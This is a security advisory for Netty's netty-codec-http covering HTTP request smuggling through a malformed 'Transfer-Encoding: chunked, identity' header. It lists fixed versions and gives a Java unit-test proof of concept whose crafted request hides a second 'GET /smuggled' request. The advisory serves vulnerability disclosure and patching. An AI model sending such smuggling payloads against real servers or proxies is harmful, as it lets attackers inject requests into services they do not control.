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MEDIUM6.5

GHSA-38f8-5428-x5cv

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Quick fix

GHSA-38f8-5428-x5cv — io.netty:netty-codec-http: upgrade to the fixed version with the command below.

# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-http

Details

### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ```

### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven/io.netty:netty-codec-http
Introduced in: 4.2.0.Alpha1Fixed in: 4.2.13.Final
Fix# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-http
Maven/io.netty:netty-codec-http
Introduced in: 0Fixed in: 4.1.133.Final
Fix# pom.xml: bump <version>4.1.133.Final</version> for io.netty:netty-codec-http

References